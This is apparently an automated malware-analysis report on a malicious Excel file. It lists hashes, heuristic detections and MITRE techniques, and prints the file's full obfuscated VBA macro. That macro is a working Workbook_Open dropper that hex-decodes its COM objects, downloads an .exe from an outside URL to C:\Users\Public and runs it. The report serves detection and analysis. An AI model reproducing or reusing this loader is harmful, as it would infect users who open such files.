Office (OOXML) malware analysis — malicious · 9e39df4b339d4f02

MALICIOUS

Office (OOXML)

117.6 KB First seen: 2020-09-07

MD5: dc47aad16b009947cf7a873efcfd9aeb SHA-1: 948958c409a2b0c65941c9909917c7a568525d6a SHA-256: 9e39df4b339d4f021e3e781b7841d83888436aeda4bfda5a79038fb429eebde1

310 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The VBA macro contains an obfuscated Workbook_Open subroutine that attempts to download a file from 'http://myplanetguiguides.com/temp/uwamersg.exe' using CreateObject("Microsoft.XMLHTTP"). The downloaded file is then likely executed, as indicated by the 'OLE_VBA_HTTP_DROP_EXEC' and 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' heuristic firings. ClamAV also detected the file as 'Xls.Dropper.EPPlus-9802867-2'.

Heuristics 7

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
ihjdpnwwohqumvspvtpmmwtofqbblkoprclyvdkqwinrnuehpyeezhqlnvxzlvletadkkturizpejballtlmgjqjmzlzglebxiyn.write hnrqfagqpcszlqoqxohldmizbhgexvxabsytjsfhbriyuhabxwsevztufspytctterytruheizklekftgegadseczdordhnzxptc.responseBody
```
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
  Range("A6:J13").Select
Set hnrqfagqpcszlqoqxohldmizbhgexvxabsytjsfhbriyuhabxwsevztufspytctterytruheizklekftgegadseczdordhnzxptc = CreateObject(qvukricgsekreafhhcavrhvmwtlaogkhncfhgaftshuvflgazd("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

  Range("A6:J13").Select
Set hnrqfagqpcszlqoqxohldmizbhgexvxabsytjsfhbriyuhabxwsevztufspytctterytruheizklekftgegadseczdordhnzxptc = CreateObject(qvukricgsekreafhhcavrhvmwtlaogkhncfhgaftshuvflgazd("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	6614 bytes
SHA-256: `1c60c1050511ac041f59f6c9bc822351f50218ba54263c5ba06ed485a8956bbb`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A6:J13").Select oaceegosytappomskusvtspahvyvswcuvtmnnxoteegwbkrwjvuifjtwlcxjitzbqftvbzemfzrpltywdblxbuomapclafkleefv"68 74 74 70 3A 2F 2F 6D 79 70 6C 61 6E 65 74 67 75 69 64 65 73 2E 63 6F 6D 2F 74 65 6D 70 2F 75 77 61 6D 65 72 73 67 2E 65 78 65" Selection.Font.ColorIndex = 3 End Sub Public Sub oaceegosytappomskusvtspahvyvswcuvtmnnxoteegwbkrwjvuifjtwlcxjitzbqftvbzemfzrpltywdblxbuomapclafkleefv (scyvzxnlwavibvahnzqhkwqxydghlhfjysjsnpifvtseisweyzyxbaswlaxwrgapulkimityrklqdlpghbiliiixamhmsmnptdkw As String) Dim hnrqfagqpcszlqoqxohldmizbhgexvxabsytjsfhbriyuhabxwsevztufspytctterytruheizklekftgegadseczdordhnzxptc Range("A6:J13").Select Dim ihjdpnwwohqumvspvtpmmwtofqbblkoprclyvdkqwinrnuehpyeezhqlnvxzlvletadkkturizpejballtlmgjqjmzlzglebxiyn Range("A6:J13").Select Dim qtxwenvarlclvlnsjyyjktylhukxuohadnusvpitoqsawzevxlrykpdwvmojcxfcebiiqvwuqfuubyoiqpaixiqnkyxjayqqkpwv Range("A6:J13").Select Set hnrqfagqpcszlqoqxohldmizbhgexvxabsytjsfhbriyuhabxwsevztufspytctterytruheizklekftgegadseczdordhnzxptc = CreateObject(qvukricgsekreafhhcavrhvmwtlaogkhncfhgaftshuvflgazd("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Range("A6:J13").Select Set hnrqfagqpcszlqoqxohldmizbhgexvxabsytjsfhbriyuhabxwsevztufspytctterytruheizklekftgegadseczdordhnzxptc = CreateObject(qvukricgsekreafhhcavrhvmwtlaogkhncfhgaftshuvflgazd("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set hnrqfagqpcszlqoqxohldmizbhgexvxabsytjsfhbriyuhabxwsevztufspytctterytruheizklekftgegadseczdordhnzxptc = CreateObject(qvukricgsekreafhhcavrhvmwtlaogkhncfhgaftshuvflgazd("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set hnrqfagqpcszlqoqxohldmizbhgexvxabsytjsfhbriyuhabxwsevztufspytctterytruheizklekftgegadseczdordhnzxptc = CreateObject(qvukricgsekreafhhcavrhvmwtlaogkhncfhgaftshuvflgazd("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set ihjdpnwwohqumvspvtpmmwtofqbblkoprclyvdkqwinrnuehpyeezhqlnvxzlvletadkkturizpejballtlmgjqjmzlzglebxiyn = CreateObject(qvukricgsekreafhhcavrhvmwtlaogkhncfhgaftshuvflgazd("41 44 4f 44 42 2e 53 74 72 65 61 6d")) Set qtxwenvarlclvlnsjyyjktylhukxuohadnusvpitoqsawzevxlrykpdwvmojcxfcebiiqvwuqfuubyoiqpaixiqnkyxjayqqkpwv = CreateObject(qvukricgsekreafhhcavrhvmwtlaogkhncfhgaftshuvflgazd("57 53 63 72 69 70 74 2e 53 68 65 6c 6c")) zqhzhubrecpzjdfjflrfvlmltsarzglwzjmrtjytgpjcikizvhgakxandwfptksyrtzarnpwmxzgbkdikbvszklbiyoxdiawxlko = qvukricgsekreafhhcavrhvmwtlaogkhncfhgaftshuvflgazd(scyvzxnlwavibvahnzqhkwqxydghlhfjysjsnpifvtseisweyzyxbaswlaxwrgapulkimityrklqdlpghbiliiixamhmsmnptdkw) lhihrjnmyumstxfsozyghxrtzstdxdjpzoxctnapwydnlvdgdhhxmegoqpizqkpvlwtfzdzayjjjuehepnapvldvhjmdfbzmjhbo = qvukricgsekreafhhcavrhvmwtlaogkhncfhgaftshuvflgazd("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 64 63 65 6B 65 6A 61 69 6F 2e 65 78 65") cxgaigyduxtmhejdjzzatxxqqvvwkxzmcsbrgagonzbjpavasvcjhbveapjnlbtwxhjpcswjtkmuvnbqzueouqeaxwrqqsdlfelh = qvukricgsekreafhhcavrhvmwtlaogkhncfhgaftshuvflgazd("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 64 63 65 6B 65 6A 61 69 6F 2e 65 78 65") hnrqfagqpcszlqoqxohldmizbhgexvxabsytjsfhbriyuhabxwsevztufspytctterytruheizklekftgegadseczdordhnzxptc.Open chr(71) + chr(69) + chr(84), zqhzhubrecpzjdfjflrfvlmltsarzglwzjmrtjytgpjcikizvhgakxandwfptksyrtzarnpwmxzgbkdikbvszklbiyoxdiawxlko, False hnrqfagqpcszlqoqxohldmizbhgexvxabsytjsfhbriyuhabxwsevztufspytctterytruheizklekftgegadseczdordhnzxptc.send ihjdpnwwohqumvspvtpmmwtofqbblkoprclyvdkqwinrnuehpyeezhqlnvxzlvletadkkturizpejballtlmgjqjmzlzglebxiyn.Type = 1 ihjdpnwwohqumvspvtpmmwtofqbblkoprclyvdkqwinrnuehpyeezhqlnvxzlvletadkkturizpejballtlmgjqjmzlzglebxiyn.Open ihjdpnwwohqumvspvtpmmwtofqbblkoprclyvdkqwinrnuehpyeezhqlnvxzlvletadkkturizpejballtlmgjqjmzlzglebxiyn.write hnrqfagqpcszlqoqxohldmizbhgexvxabsytjsfhbriyuhabxwsevztufspytctterytruheizklekftgegadseczdordhnzxptc.responseBody ihjdpnwwohqumvspvtpmmwtofqbblkoprclyvdkqwinrnuehpyeezhqlnvxzlvletadkkturizpejballtlmgjqjmzlzglebxiyn.savetofile lhihrjnmyumstxfsozyghxrtzstdxdjpzoxctnapwydnlvdgdhhxmegoqpizqkpvlwtfzdzayjjjuehepnapvldvhjmdfbzmjhbo, 2 qtxwenvarlclvlnsjyyjktylhukxuohadnusvpitoqsawzevxlrykpdwvmojcxfcebiiqvwuqfuubyoiqpaixiqnkyxjayqqkpwv.Run cxgaigyduxtmhejdjzzatxxqqvvwkxzmcsbrgagonzbjpavasvcjhbveapjnlbtwxhjpcswjtkmuvnbqzueouqeaxwrqqsdlfelh End Sub Public Function qvukricgsekreafhhcavrhvmwtlaogkhncfhgaftshuvflgazd(ByVal rwebpxifujvxygtnxwfvluxsyntroejlbtqtkytzzksbcaluedtnkajwymdberqqzjvepzcydfwbbwpycymllvbbjuvyvrvitcbt As String) As String Dim egffaukeeiubwezfeffehuuvdedlknhzvwtvthkrkxwbzucqspenxxlklkbwqztqaugzldmwvotkxtvjcntviucxljkjgnakdfbe As String Dim ncfociridansorudgyigsinctdqinigrrqwziesactukwruptxefxumfoduzrjvvuvayvuubfheyocfbibpqeauweqkfjtisyyqa As String Dim qwtyccaqqnrlxtqqufrtadtejprlylapmfkmhqnbadgqyyiqdrxthxzncpomkorenczridjdrpsxxdflhbignhhofxkrcaqmlbdw As Long For qwtyccaqqnrlxtqqufrtadtejprlylapmfkmhqnbadgqyyiqdrxthxzncpomkorenczridjdrpsxxdflhbignhhofxkrcaqmlbdw = 1 To Len(rwebpxifujvxygtnxwfvluxsyntroejlbtqtkytzzksbcaluedtnkajwymdberqqzjvepzcydfwbbwpycymllvbbjuvyvrvitcbt)Step 3 egffaukeeiubwezfeffehuuvdedlknhzvwtvthkrkxwbzucqspenxxlklkbwqztqaugzldmwvotkxtvjcntviucxljkjgnakdfbe = Chr$(Val("&H" & Mid$(rwebpxifujvxygtnxwfvluxsyntroejlbtqtkytzzksbcaluedtnkajwymdberqqzjvepzcydfwbbwpycymllvbbjuvyvrvitcbt, qwtyccaqqnrlxtqqufrtadtejprlylapmfkmhqnbadgqyyiqdrxthxzncpomkorenczridjdrpsxxdflhbignhhofxkrcaqmlbdw, 2))) ncfociridansorudgyigsinctdqinigrrqwziesactukwruptxefxumfoduzrjvvuvayvuubfheyocfbibpqeauweqkfjtisyyqa = ncfociridansorudgyigsinctdqinigrrqwziesactukwruptxefxumfoduzrjvvuvayvuubfheyocfbibpqeauweqkfjtisyyqa & egffaukeeiubwezfeffehuuvdedlknhzvwtvthkrkxwbzucqspenxxlklkbwqztqaugzldmwvotkxtvjcntviucxljkjgnakdfbe Next qwtyccaqqnrlxtqqufrtadtejprlylapmfkmhqnbadgqyyiqdrxthxzncpomkorenczridjdrpsxxdflhbignhhofxkrcaqmlbdw qvukricgsekreafhhcavrhvmwtlaogkhncfhgaftshuvflgazd = ncfociridansorudgyigsinctdqinigrrqwziesactukwruptxefxumfoduzrjvvuvayvuubfheyocfbibpqeauweqkfjtisyyqa End Function Attribute VB_Name = "qgyzysqwpajmosoqxfbhcjrgb" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	7680 bytes
SHA-256: `9a49c9f272b2a9eb9c0c89a3e647bd08fcf0bc4ce35fd6dd3b6e9006832d6117`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: likely 131 of 221 identifiers look randomly generated (e.g. 'BD645FAC117C1173EE9C217885C8BE24552FD224') — consistent with name-mangling obfuscation.

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